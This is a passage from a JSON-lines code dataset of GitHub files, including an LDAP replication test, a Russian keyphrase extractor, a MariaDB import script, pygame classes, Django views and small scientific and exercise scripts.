4...')\n\n # Enable replication on master 4\n topology_m4.ms[\"master4\"].replica.enableReplication(suffix=SUFFIX, role=ReplicaRole.MASTER,\n replicaId=newReplicaId)\n\n for num in range(1, 4):\n host_to = topology_m4.ms[\"master{}\".format(num)].host\n port_to = topology_m4.ms[\"master{}\".format(num)].port\n properties = {RA_NAME: 'meTo_{}:{}'.format(host_to, port_to),\n RA_BINDDN: defaultProperties[REPLICATION_BIND_DN],\n RA_BINDPW: defaultProperties[REPLICATION_BIND_PW],\n RA_METHOD: defaultProperties[REPLICATION_BIND_METHOD],\n RA_TRANSPORT_PROT: defaultProperties[REPLICATION_TRANSPORT]}\n agmt = topology_m4.ms[\"master4\"].agreement.create(suffix=SUFFIX, host=host_to,\n port=port_to, properties=properties)\n if not agmt:\n log.fatal(\"Fail to create a master -> master replica agreement\")\n assert False\n log.debug(\"%s created\" % agmt)\n\n host_to = topology_m4.ms[\"master4\"].host\n port_to = topology_m4.ms[\"master4\"].port\n properties = {RA_NAME: 'meTo_{}:{}'.format(host_to, port_to),\n RA_BINDDN: defaultProperties[REPLICATION_BIND_DN],\n RA_BINDPW: defaultProperties[REPLICATION_BIND_PW],\n RA_METHOD: defaultProperties[REPLICATION_BIND_METHOD],\n RA_TRANSPORT_PROT: defaultProperties[REPLICATION_TRANSPORT]}\n agmt = topology_m4.ms[\"master{}\".format(num)].agreement.create(suffix=SUFFIX, host=host_to,\n port=port_to, properties=properties)\n if not agmt:\n log.fatal(\"Fail to create a master -> master replica agreement\")\n assert False\n log.debug(\"%s created\" % agmt)\n\n # Stop the servers - this allows the rid(for master4) to be used again\n for num in range(1, 5):\n topology_m4.ms[\"master{}\".format(num)].stop(timeout=30)\n\n # Initialize the agreements\n topology_m4.ms[\"master1\"].start(timeout=30)\n for num in range(2, 5):\n host_to = topology_m4.ms[\"master{}\".format(num)].host\n port_to = topology_m4.ms[\"master{}\".format(num)].port\n topology_m4.ms[\"master{}\".format(num)].start(timeout=30)\n time.sleep(5)\n topology_m4.ms[\"master1\"].agreement.init(SUFFIX, host_to, port_to)\n agreement = topology_m4.ms[\"master1\"].agreement.list(suffix=SUFFIX,\n consumer_host=host_to,\n consumer_port=port_to)[0].dn\n topology_m4.ms[\"master1\"].waitForReplInit(agreement)\n\n time.sleep(5)\n\n # Test Replication is working\n for num in range(2, 5):\n if topology_m4.ms[\"master1\"].testReplication(DEFAULT_SUFFIX, topology_m4.ms[\"master{}\".format(num)]):\n log.info('Replication is working m1 -> m{}.'.format(num))\n else:\n log.fatal('restore_master4: Replication is not working from m1 -> m{}.'.format(num))\n assert False\n time.sleep(1)\n\n # Check replication is working from master 4 to master1...\n if topology_m4.ms[\"master4\"].testReplication(DEFAULT_SUFFIX, topology_m4.ms[\"master1\"]):\n log.info('Replication is working m4 -> m1.')\n else:\n log.fatal('restore_master4: Replication is not working from m4 -> 1.')\n assert False\n time.sleep(5)\n\n log.info('Master 4 has been successfully restored.')\n\n\ndef test_ticket49180(topology_m4):\n\n log.info('Running test_ticket49180...')\n\n log.info('Check that replication works properly on all masters')\n agmt_nums = {\"master1\": (\"2\", \"3\", \"4\"),\n \"master2\": (\"1\", \"3\", \"4\"),\n \"master3\": (\"1\", \"2\", \"4\"),\n \"master4\": (\"1\", \"2\", \"3\")}\n\n for inst_name, agmts in agmt_nums.items():\n for num in agmts:\n if not topology_m4.ms[inst_name].testReplication(DEFAULT_SUFFIX, topology_m4.ms[\"master{}\".format(num)]):\n log.fatal(\n 'test_replication: Replication is not working between {} and master {}.'.format(inst_name,\n num))\n assert False\n\n # Disable master 4\n log.info('test_clean: disable master 4...')\n topology_m4.ms[\"master4\"].replica.disableReplication(DEFAULT_SUFFIX)\n\n # Remove the agreements from the other masters that point to master 4\n remove_master4_agmts(\"test_clean\", topology_m4)\n\n # Cleanup - restore master 4\n restore_master4(topology_m4, 4444)\n\n\n attr_errors = os.popen('egrep \"attrlist_replace\" %s | wc -l' % topology_m4.ms[\"master1\"].errlog)\n ecount = int(attr_errors.readline().rstrip()) \n log.info(\"Errors found on m1: %d\" % ecount)\n assert (ecount == 0)\n\n attr_errors = os.popen('egrep \"attrlist_replace\" %s | wc -l' % topology_m4.ms[\"master2\"].errlog)\n ecount = int(attr_errors.readline().rstrip()) \n log.info(\"Errors found on m2: %d\" % ecount)\n assert (ecount == 0)\n\n attr_errors = os.popen('egrep \"attrlist_replace\" %s | wc -l' % topology_m4.ms[\"master3\"].errlog)\n ecount = int(attr_errors.readline().rstrip()) \n log.info(\"Errors found on m3: %d\" % ecount)\n assert (ecount == 0)\n\nif __name__ == '__main__':\n # Run isolated\n # -s for DEBUG mode\n CURRENT_FILE = os.path.realpath(__file__)\n pytest.main(\"-s %s\" % CURRENT_FILE)\n","repo_name":"evaluation-alex/389-ldap-directory-server","sub_path":"dirsrvtests/tests/tickets/ticket49180_test.py","file_name":"ticket49180_test.py","file_ext":"py","file_size_in_byte":7228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17163893669","text":"import re\nfrom operator import itemgetter\nfrom random import randint # только для тестирования\nfrom time import time # только для тестирования\n\nimport pandas as pd # только для тестирования\nimport pymorphy2\nfrom nltk import collocations\nfrom nltk.corpus import stopwords\nfrom razdel import sentenize, tokenize\n\nanalyzer = pymorphy2.MorphAnalyzer()\n\n\nbigram_rules = {\n 1: {\"pos_1\": {\"ADJF\", \"ADJS\", \"PRTF\", \"PRTS\"}, \"pos_2\": {\"NOUN\", \"LATN\", \"UNKN\", None}},\n 2: {\"pos_1\": {\"NOUN\", \"LATN\", \"UNKN\", None}, \"pos_2\": {\"NOUN\", \"LATN\", \"UNKN\", None}},\n}\n\ntrigram_rules = {\n 1: {\n \"pos_1\": {\"NOUN\", \"LATN\", \"UNKN\", None},\n \"pos_2\": {\"NOUN\", \"LATN\", \"UNKN\", None},\n \"pos_3\": {\"NOUN\", \"LATN\", \"UNKN\", None},\n },\n 2: {\n \"pos_1\": {\"NOUN\", \"LATN\", \"UNKN\", None},\n \"pos_2\": {\"ADJF\", \"ADJS\", \"PRTF\", \"PRTS\"},\n \"pos_3\": {\"NOUN\", \"LATN\", \"UNKN\", None},\n },\n 3: {\n \"pos_1\": {\"ADJF\", \"ADJS\", \"PRTF\", \"PRTS\"},\n \"pos_2\": {\"NOUN\", \"LATN\", \"UNKN\", None},\n \"pos_3\": {\"NOUN\", \"LATN\", \"UNKN\", None},\n },\n 4: {\n \"pos_1\": {\"ADJF\", \"ADJS\", \"PRTF\", \"PRTS\"},\n \"pos_2\": {\"ADJF\", \"ADJS\", \"PRTF\", \"PRTS\"},\n \"pos_3\": {\"NOUN\", \"LATN\", \"UNKN\", None},\n },\n}\n\n\ndef rpd_to_wordlist(text, remove_stopwords=False, morph=True):\n \"\"\"Предобработка списка слов из содержания\"\"\"\n text = re.sub(r\"[^a-zA-Zа-яА-ЯёЁ\\'\\-\\#\\+]\", \" \", text)\n words = [_.text for _ in tokenize(text.lower())]\n if not words:\n return None\n if morph:\n words = [analyzer.parse(word)[0].normal_form for word in words]\n if remove_stopwords:\n stops = stopwords.words(\"russian\")\n words = [w for w in words if w not in stops]\n return words\n\n\ndef rpd_to_sentences(text, remove_stopwords=False, morph=True):\n \"\"\"Выделение предложений и обработка слов внутри них.\n Если в предложении получилось 2 и 3 слова – считаем результатом без доп.обработок.\n Предложения из одного слова игнорируем.\n Предложения из 4+ слов разбиваются на токены и обрабатываются дальше\"\"\"\n text = re.sub(r\"\\b(\\w+)( \\1\\b)+\", r\"\\1\", text)\n text = re.sub(r\"([0-9]+).([0-9]+)\", \"\", text)\n text = re.sub(r\"([0-9]+).(\\s+)\", \"\", text)\n text = re.sub(r\"[:\\.,»«)(\\n\\t–]\", \". \", text)\n text = re.sub(r\"([а-яa-zё]+)([А-ЯA-ZЁ]+)\", r\"\\1. \\2\", text)\n text = re.sub(r\"([0-9]+)(\\s+)([0-9]+)\", \"\", text)\n text = re.sub(r\"\\.(\\s+)([a-zA-Zа-яА-ЯёЁ0-9\\-])\", lambda x: x.group(0).upper(), text)\n text = text.replace(\"\\xa0\", \" \")\n text = text.replace(\".\", \". \").strip()\n raw_sentences = [_.text for _ in list(sentenize(text))]\n\n valid_phrases, sentences = [], []\n for sent in raw_sentences:\n if len(sent) > 0:\n tokens = rpd_to_wordlist(sent, remove_stopwords, morph)\n if 2 <= len(tokens) <= 3 and \"и\" not in tokens:\n key_phrase = re.sub(r\"[^a-zA-Zа-яА-ЯёЁ0-9\\'\\-\\#\\+]\", \" \", sent).strip(\" .\").lower()\n valid_phrases.append((key_phrase, tuple(tokens)))\n elif len(tokens) > 3:\n sentences.append(tokens)\n\n valid_phrases = [[data, valid_phrases.count(data)] for data in valid_phrases]\n\n return valid_phrases, sentences\n\n\ndef get_bigrams_trigrams(sentences):\n \"\"\"Наивный поиск словосочетаний внутри длинного предложения.\n Берутся только биграммы и триграммы\"\"\"\n bigram_measures = collocations.BigramAssocMeasures()\n trigram_measures = collocations.TrigramAssocMeasures()\n bigrams_, trigrams_ = [], []\n for sent in sentences:\n finder_bi = collocations.BigramCollocationFinder.from_words(sent)\n finder_tri = collocations.TrigramCollocationFinder.from_words(sent)\n bigrams_.extend([phrase for phrase, _ in finder_bi.score_ngrams(bigram_measures.likelihood_ratio)])\n trigrams_.extend([phrase for phrase, _ in finder_tri.score_ngrams(trigram_measures.likelihood_ratio)])\n return bigrams_, trigrams_\n\n\ndef score_bigrams_trigrams(text, valid_tokens):\n \"\"\"Подсчитывается частота появления словосочетания внутри содержания.\n Если лемматизированные токены совпадают с токенами уже выбранных результатов, кандидат игнорируется.\n Скоры (частоты) суммируются.\n Случай, когда биграмма входит в триграмму не рассматривается, т.к. часто срезается много полезных слов\"\"\"\n\n bigrams_, trigrams_ = get_bigrams_trigrams(text)\n bigrams_score = [(bigram, bigrams_.count(bigram)) for bigram in bigrams_]\n trigrams_score = [(trigram, trigrams_.count(trigram)) for trigram in trigrams_]\n\n to_remove_2 = set()\n to_remove_3 = set()\n\n for i, token in enumerate(valid_tokens):\n for bigram, n in bigrams_score:\n if set(bigram) < set(token[0][1]):\n valid_tokens[i][1] += n\n to_remove_2.add((bigram, n))\n for trigram, n in trigrams_score:\n if set(token[0][1]) == set(trigram):\n valid_tokens[i][1] += n\n to_remove_3.add((trigram, n))\n\n valid_tokens = {(phrase[0], score) for phrase, score in valid_tokens}\n\n for token in to_remove_2:\n bigrams_score.remove(token)\n\n for token in to_remove_3:\n trigrams_score.remove(token)\n\n return set(bigrams_score), set(trigrams_score), valid_tokens\n\n\ndef get_keyphrases(sent, valid_tokens=None, n_best=None):\n \"\"\"Получение фразы из набора биграмм и триграмм: склонение по правилам.\n Возможны неточности. Обычно из-за pymorphy.\n n_best: количество фраз, которое нужно получить из содержания. Лучше брать побольше, чтобы оставался выбор\"\"\"\n\n if valid_tokens is None:\n valid_tokens = []\n bigrams_, trigrams_, keyphrases = score_bigrams_trigrams(sent, valid_tokens)\n\n if bigrams_:\n tagged_phrases = [\n (\n words,\n [\n analyzer.parse(words[0])[0].tag.POS if words[0] != \"данные\" else \"NOUN\",\n analyzer.parse(words[1])[0].tag.POS if words[1] != \"данные\" else \"NOUN\",\n ],\n score,\n )\n for words, score in bigrams_\n ]\n for words, tags, score in tagged_phrases:\n try:\n if tags[0] in bigram_rules[1][\"pos_1\"] and tags[1] in bigram_rules[1][\"pos_2\"]:\n gender = analyzer.parse(words[1])[0].tag.gender\n attribute = analyzer.parse(words[0])[0].inflect({gender, \"nomn\"})\n if attribute:\n keyphrases.add((\" \".join([attribute.word, words[1]]), score))\n\n elif tags[0] in bigram_rules[2][\"pos_1\"] and tags[1] in bigram_rules[2][\"pos_2\"]:\n attribute = analyzer.parse(words[1])[0].inflect({\"gent\"})\n if attribute:\n keyphrases.add((\" \".join([words[0], attribute.word]), score))\n else:\n keyphrases.add((\" \".join(words), score))\n except ValueError:\n continue\n\n if trigrams_:\n tagged_phrases = [\n (\n words,\n [\n analyzer.parse(words[0])[0].tag.POS if words[0] != \"данные\" else \"NOUN\",\n analyzer.parse(words[1])[0].tag.POS if words[1] != \"данные\" else \"NOUN\",\n analyzer.parse(words[2])[0].tag.POS if words[2] != \"данные\" else \"NOUN\",\n ],\n score,\n )\n for words, score in trigrams_\n ]\n for words, tags, score in tagged_phrases:\n try:\n if (\n tags[0] in trigram_rules[1][\"pos_1\"]\n and tags[1] in trigram_rules[1][\"pos_2\"]\n and tags[2] in trigram_rules[1][\"pos_3\"]\n ):\n attribute_noun1 = analyzer.parse(words[1])[0].inflect({\"gent\"})\n attribute_noun2 = analyzer.parse(words[2])[0].inflect({\"gent\"})\n if not attribute_noun1 and attribute_noun2:\n keyphrases.add((\" \".join([words[0], words[1], attribute_noun2.word]), score))\n elif not attribute_noun2 and attribute_noun1:\n keyphrases.add((\" \".join([words[0], attribute_noun1.word, words[2]]), score))\n elif not (attribute_noun1 and attribute_noun2):\n keyphrases.add((\" \".join(words), score))\n else:\n keyphrases.add((\" \".join([words[0], attribute_noun1.word, attribute_noun2.word]), score))\n\n elif (\n tags[0] in trigram_rules[2][\"pos_1\"]\n and tags[1] in trigram_rules[2][\"pos_2\"]\n and tags[2] in trigram_rules[2][\"pos_3\"]\n ):\n gender = analyzer.parse(words[2])[0].tag.gender\n attribute_adj = analyzer.parse(words[1])[0].inflect({\"gent\", gender})\n attribute_noun = analyzer.parse(words[2])[0].inflect({\"gent\"})\n if gender and attribute_adj and attribute_noun:\n keyphrases.add((\" \".join([words[0], attribute_adj.word, attribute_noun.word]), score))\n elif (\n tags[0] in trigram_rules[3][\"pos_1\"]\n and tags[1] in trigram_rules[3][\"pos_2\"]\n and tags[2] in trigram_rules[3][\"pos_3\"]\n ):\n gender = analyzer.parse(words[1])[0].tag.gender\n attribute_adj = analyzer.parse(words[0])[0].inflect({gender, \"nomn\"})\n attribute_noun = analyzer.parse(words[2])[0].inflect({\"gent\"})\n if gender and attribute_adj and attribute_noun:\n keyphrases.add((\" \".join([attribute_adj.word, words[1], attribute_noun.word]), score))\n elif (\n tags[0] in trigram_rules[4][\"pos_1\"]\n and tags[1] in trigram_rules[4][\"pos_2\"]\n and tags[2] in trigram_rules[4][\"pos_3\"]\n ):\n gender = analyzer.parse(words[2])[0].tag.gender\n attribute_adj1 = analyzer.parse(words[0])[0].inflect({gender, \"nomn\"})\n attribute_adj2 = analyzer.parse(words[1])[0].inflect({gender, \"nomn\"})\n if gender and attribute_adj1 and attribute_adj2:\n keyphrases.add((\" \".join([attribute_adj1.word, attribute_adj2.word, words[2]]), score))\n except ValueError:\n continue\n\n res = sorted(keyphrases, reverse=True, key=itemgetter(1))\n if n_best is not None:\n return [phrase for phrase, _ in res][:n_best]\n return [phrase for phrase, _ in res]\n\n\ndef simple_outcomes_extraction(text, remove_stopwords=False, n_best=None):\n \"\"\"Извлечение ключевых слов из текста.\"\"\"\n phrases, sents = rpd_to_sentences(text, remove_stopwords)\n return get_keyphrases(sents, phrases, n_best)\n\n\nif __name__ == \"__main__\":\n # В среднем обработка одной дисциплины занимает 0.05 секунды\n\n df = pd.read_excel(\"rpd_27012022.xlsx\")\n N = randint(1, df.shape[0] - 1)\n\n print(df.loc[N].title)\n rpd = df.loc[N].text\n print(rpd)\n\n start = time()\n\n print(simple_outcomes_extraction(rpd, n_best=10))\n\n print(round(time() - start, 3))\n","repo_name":"anastasiiaCher/individual-tracks","sub_path":"outcomes_recommendations/outcomes_extraction.py","file_name":"outcomes_extraction.py","file_ext":"py","file_size_in_byte":12183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14284848539","text":"import mariadb\nimport sys\nfrom Config import Config \nfrom hashlib import sha256\n\ntry:\n config = Config().vars\n conn = mariadb.connect(\n user=config['user'],\n password=config['password'],\n host=config['host'],\n port=config['port'],\n database=config['database']\n )\nexcept mariadb.Error as e:\n print(f\"Error to connect {e}\")\n sys.exit(1)\n\ninsert = \"INSERT INTO mailing (hash_id, nome, sobrenome, email) VALUES (?,?,?,?) \"\ncursor = conn.cursor()\n\ndef save_register(line, salt):\n register = line.replace(\"\\n\", \"\").split(\";\")\n if register[2] == \"Email\":\n return False\n hashid = sha256((register[2]+salt).encode('utf-8')).hexdigest()\n try:\n cursor.execute(insert, (hashid, register[0], register[1], register[2]))\n return True\n except mariadb.Error as e:\n return False\n\ninseridos = 0\nrepetidos = 0\nfile = open(\"backup_mailing.csv\", \"r\")\nwhile True:\n line = file.readline()\n if line == \"\": \n break\n if not save_register(line, config['salt']):\n repetidos += 1\n else:\n inseridos += 1\n\nprint(\"Inseridos: \"+str(inseridos))\nprint(\"Repetidos: \"+str(repetidos))\n\nconn.commit()\nconn.close()","repo_name":"sindcelma/scripts_variados","sub_path":"save_emails_2.py","file_name":"save_emails_2.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12199754089","text":"import pygame as pg\nfrom time import time\n\nfrom .constants import *\n\n\nclass Wall(pg.sprite.Sprite):\n def __init__(self, img, x, y, size_x, size_y):\n super().__init__()\n self.image = pg.transform.scale(pg.image.load(img), (size_x, size_y))\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n\n\nclass Person(pg.sprite.Sprite):\n def __init__(self, imgs: list, x: int, y: int, size_x: int, size_y: int, speed: int):\n super().__init__()\n self.imgs = [pg.transform.scale(pg.image.load(imgs[0]), (size_x, size_y)),\n pg.transform.scale(pg.image.load(imgs[1]), (size_x, size_y)),\n pg.transform.scale(pg.image.load(imgs[2]), (size_x, size_y))]\n self.direction = \"left\"\n self.speed = speed\n self.image = self.imgs[0]\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n self.gravity = 0\n\n def reset(self, window):\n window.blit(self.image, (self.rect.x, self.rect.y))\n\n def change_skin(self, direction):\n self.direction = direction\n x, y = self.rect.x, self.rect.y\n if self.direction == \"left\":\n self.image = self.imgs[0]\n elif self.direction == \"right\":\n self.image = self.imgs[2]\n else:\n self.image = self.imgs[1]\n self.rect = self.image.get_rect()\n self.rect.x, self.rect.y = x, y\n\n def check_air(self, things):\n return not pg.sprite.spritecollideany(self, things)\n\n\nclass Hero(Person):\n def update(self):\n keys = pg.key.get_pressed()\n self.rect.y += self.gravity\n if keys[pg.K_w]:\n if self.direction != \"up\":\n self.change_skin(direction=\"up\")\n self.rect.y -= self.speed\n if keys[pg.K_s]:\n if self.direction != \"down\":\n self.change_skin(direction=\"down\")\n self.rect.y += self.speed\n if keys[pg.K_a]:\n if self.direction != \"left\":\n self.change_skin(direction=\"left\")\n self.rect.x -= self.speed\n if keys[pg.K_d]:\n if self.direction != \"right\":\n self.change_skin(direction=\"right\")\n self.rect.x += self.speed\n\n\nclass Enemy(pg.sprite.Sprite):\n def __init__(self, imgs: list, x: int, y: int, size_x: int, size_y: int, speed: int, shift: int):\n super().__init__()\n self.imgs_right = [pg.transform.scale(pg.image.load(imgs[i]), (size_x, size_y)) for i in range(len(imgs))]\n self.imgs_left = [pg.transform.flip(self.imgs_right[i], True, False) for i in range(len(imgs))]\n self.direction = \"left\"\n self.speed = speed\n self.current_skin = 0\n self.image = self.imgs_left[0]\n self.rect = self.image.get_rect()\n self.start_pos = (x, y)\n self.shift = shift\n self.rect.x = x\n self.rect.y = y\n self.gravity = 0\n self.last_time = time() # сохраняем текущее время в секундах с 1970 года\n\n def reset(self, window):\n window.blit(self.image, (self.rect.x, self.rect.y))\n\n def change_direction(self, direction):\n self.direction = direction\n x, y = self.rect.x, self.rect.y\n if self.direction == \"left\":\n self.image = self.imgs_left[self.current_skin]\n else:\n self.image = self.imgs_right[self.current_skin]\n self.rect = self.image.get_rect()\n self.rect.x, self.rect.y = x, y\n\n def next_skin(self):\n x, y = self.rect.centerx, self.rect.centery\n if self.current_skin < len(self.imgs_left) - 1:\n self.current_skin += 1\n else:\n self.current_skin = 0\n if self.direction == \"left\":\n self.image = self.imgs_left[self.current_skin]\n else:\n self.image = self.imgs_right[self.current_skin]\n self.rect = self.image.get_rect()\n self.rect.centerx, self.rect.centery = x, y\n\n def check_air(self, things):\n return not pg.sprite.spritecollideany(self, things)\n\n def update(self):\n if self.direction == \"left\" and self.rect.x < self.start_pos[0] - self.shift:\n self.change_direction(\"right\")\n if self.direction == \"right\" and self.rect.x > self.start_pos[0] + self.shift:\n self.change_direction(\"left\")\n if self.direction == \"left\":\n self.rect.x -= self.speed\n if self.direction == \"right\":\n self.rect.x += self.speed\n if time() - self.last_time > 2: # устанавливаем скорость смены костюмов в секундах\n self.next_skin()\n","repo_name":"Pavel-Bylkov/game-miner","sub_path":"tools/game_classes.py","file_name":"game_classes.py","file_ext":"py","file_size_in_byte":4705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37243853278","text":"# Uses python3\nimport sys\n\ndef gcd(a, b):\n '''\n Returns the greatest common divisor\n of two numbers, a & b\n '''\n assert (1 <= a <= 2*10**9)\n assert (1 <= b <= 2*10**9)\n # simulate denominator and numerator\n d = b\n n = a\n while d != 0:\n # get remainder\n rem = n % d\n # swap numerator and denominator\n n = d\n d = rem\n return n\n\ndef lcm(a, b):\n '''\n Returns the least common multiple\n of two number a & b\n '''\n assert (1 <= a <= 2*10**9)\n assert (1 <= b <= 2*10**9)\n return (a*b) // gcd(a, b)\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n a, b = map(int, input.split())\n print(lcm(a, b))\n","repo_name":"SherMM/coursera-ucsd-algorithms-datastructures","sub_path":"AlgorithmicToolBox/Week2/lcm/lcm.py","file_name":"lcm.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23397804571","text":"fairpair = []\nMAXSQ = 10**7 +1\n\ndef checkpal(a):\n\ts = str(a)\n\tif (s == s[::-1]):\n\t\treturn True\n\treturn False\n\nfor i in range(MAXSQ):\n\tif checkpal(i) and checkpal( i**2 ):\n\t\tfairpair.append(i**2)\n\n#for i in range(20):\n#\tprint fairpair[i]\n\nf = open('C.out', 'w')\n\nT = input()\nfor i in range(T):\n\ta = raw_input()\n\ta = a.split(' ')\n\ta[0] = int(a[0])\n\ta[1] = int(a[1])\n\tlower = 0\n\tupper = len(fairpair)\n\n\t#BS on lower bound\n\td = 0\n\twhile( lower < upper -1):\n\t\td = (lower+upper)/2\n\t\t#print lower, upper, d, fairpair[d], a[0]\n\t\tif fairpair[d] >= a[0]:\n\t\t\tupper = d\n\t\telif fairpair[d] < a[0]:\n\t\t\tlower = d\n\n\tlimd = lower\n\n\tlower = 0\n\tupper = len(fairpair)\n\twhile( lower < upper -1):\n\n\t\td = (lower+upper)/2\n\n\t\tif fairpair[d] > a[1]:\n\t\t\tupper = d\n\t\telif fairpair[d] <= a[1]:\n\t\t\tlower = d\n\n\tlimu = upper\n\t#print limd, limu\n\tf.write(\"Case #\"+str(i+1)+\": \"+str(limu - limd -1)+\"\\n\")","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/704.py","file_name":"704.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12510944175","text":"from faker import Faker\nimport csv\noutput=open('dirty-data.csv','w')\nfake=Faker()\nheader=['guid','age','birthday','signup_date','account_type']\nmywriter=csv.writer(output)\nmywriter.writerow(header)\nfor r in range(1000):\n mywriter.writerow([fake.name(),fake.random_int(min=18, max=80, step=1), fake.street_address(), fake.city(),fake.state(),fake.zipcode(),fake.longitude(),fake.latitude()])\noutput.close()\n","repo_name":"dfayika1988/Tech_test3","sub_path":"Readingandwriting/Angloloadcsv.py","file_name":"Angloloadcsv.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29998192888","text":"from django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render, redirect\n\nfrom user.models import SignUpForm\n\ndef profile(request):\n current_user = request.user\n profile = User.objects.get(id=current_user.id)\n context = {\n 'profile': profile\n }\n return render(request,'user/profile.html',context)\n\ndef logout_user(request):\n logout(request)\n return redirect('account/login')\n\ndef signup_user(request):\n if request.method == \"POST\":\n form = SignUpForm(request.POST)\n if form.is_valid():\n form.save()\n messages.success(request, \"Your account has been created, you can now Login!\")\n return HttpResponseRedirect(\"/accounts/login\")\n else:\n messages.warning(request, \"There was an error in your form, please try again.\")\n else:\n form = SignUpForm()\n return render(request, 'registration/signup.html', {'form': form})\n","repo_name":"sefailyasoz95/qandaproject","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18742563139","text":"import numpy as np\n\nfrom desilike.cosmo import is_external_cosmo\nfrom desilike.likelihoods.base import BaseGaussianLikelihood\n\n\nclass H0Likelihood(BaseGaussianLikelihood):\n r\"\"\"\n H0 likelihood.\n\n Parameters\n ----------\n mean : float\n :math:`H_{0}` value.\n\n std : float\n :math:`H_{0}` uncertainty.\n\n cosmo : BasePrimordialCosmology, default=None\n Cosmology calculator. Defaults to ``Cosmoprimo()``.\n \"\"\"\n def initialize(self, mean, std, cosmo=None):\n self.cosmo = cosmo\n if is_external_cosmo(self.cosmo):\n self.cosmo_requires = {'params': {'H0': None}}\n elif self.cosmo is None:\n from desilike.theories.primordial_cosmology import Cosmoprimo\n self.cosmo = Cosmoprimo()\n super(H0Likelihood, self).initialize(data=mean, covariance=std**2)\n\n @property\n def flattheory(self):\n return np.array([self.cosmo['H0']])\n\n\nclass MbLikelihood(BaseGaussianLikelihood):\n r\"\"\"\n Magnitude likelihood, to be combined with SN likelihood.\n\n Parameters\n ----------\n mean : float\n :math:`Mb` value.\n\n std : float\n :math:`Mb` uncertainty.\n \"\"\"\n def initialize(self, mean, std):\n super(MbLikelihood, self).initialize(data=mean, covariance=std**2)\n\n def calculate(self, Mb):\n self.flattheory = np.array([Mb])\n super(MbLikelihood, self).calculate()\n","repo_name":"cosmodesi/desilike","sub_path":"desilike/likelihoods/hubble/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"41229217398","text":"#!/usr/bin/env python\n\nimport sys\nimport os\n\n#######\nif len(sys.argv) != 2:\n print('\\n\\nUsage:')\n print('\\t./readDSSP.py ')\n print('\\nProgram Aborted.')\nelse:\n # strips the file extension from protein name\n pdb = sys.argv[1]\n pdb = pdb[:pdb.rfind('.')]\n\n # initiate empty list\n AA = []\n ACC = []\n RSA = []\n weights = {'A':129.0,'R':274.0,'N':195.0,'D':193.0,'C':167.0,'Q':225.0,'E':223.0,'G':104.0,'H':224.0,'I':197.0,\n 'L':201.0,'K':236.0,'M':224.0,'F':240.0,'P':159.0,'S':155.0,'T':172.0,'W':285.0,'Y':263.0,'V':174.0}\n\n\n #### Read Data ####\n fileIn = open(sys.argv[1],'r')\n # skips the first 25 lines\n for i in range(25):\n fileIn.readline()\n\n # reads in data from useful lines\n for line in fileIn:\n # skips lines with no amino acid information\n if line[13] == '!':\n continue\n # appends information on AA and ACC to respective lists\n AA.append(line[13])\n ACC.append(int(line[35:38]))\n\n fileIn.close()\n\n # computes fraction of exposed surface\n for i in range(len(AA)):\n RSA.append( ACC[i] / weights[AA[i]])\n\n\n #### Write Data ####\n # appends if file already exists\n if os.path.isfile(sys.argv[2]):\n fileOut = open(sys.argv[2],'a')\n \n # writes data\n for i in range(len(AA)):\n string = pdb + '\\t' + AA[i] + '\\t' + str(ACC[i]) + '\\t' + str(RSA[i])\n fileOut.write(string)\n fileOut.write('\\n')\n\n # else creates and writes to a new file\n else:\n fileOut = open(sys.argv[2],'w')\n fileOut.write('pdb\\t');fileOut.write('Name\\t');fileOut.write('ACC\\t');fileOut.write('RSA\\n')\n\n # writes data\n for i in range(len(AA)):\n string = pdb + '\\t' + AA[i] + '\\t' + str(ACC[i]) + '\\t' + str(RSA[i])\n fileOut.write(string)\n fileOut.write('\\n')\n\n fileOut.close()\n","repo_name":"Kreshel/ECL2017S","sub_path":"homework/hw7/readDSSP.py","file_name":"readDSSP.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21983136203","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nimport datetime\n\nimport download_data as dd\nimport plotting as pl\n\ncity_codes_df = pd.read_csv('city_codes.csv')\n\ncolumns = ['City', 'Townhouse-Condo Attached', 'Single-Family Detached',\n 'New Listings', 'Pending Sales',\n 'Closed Sales', 'Days on Market Until Sale', 'Median Sales Price',\n 'Average Sales Price', 'Percent of Original List Price Received',\n 'Inventory of Homes for Sale', 'Year', 'Month', 'Month_num']\n\ndf = pd.DataFrame(columns=columns)\n\nnum_to_month = {\n '01': \"January\",\n '02': \"February\",\n '03': \"March\",\n '04': \"April\",\n '05': \"May\",\n '06': \"June\",\n '07': \"July\",\n '08': \"August\",\n '09': \"September\",\n '10': \"October\",\n '11': \"November\",\n '12': \"December\"\n}\n\nmonth_to_num = {\n \"January\": '01',\n \"February\": '02',\n \"March\": '03',\n \"April\": '04',\n \"May\": '05',\n \"June\": '06',\n \"July\": '07',\n \"August\": '08',\n \"September\": '09',\n \"October\": 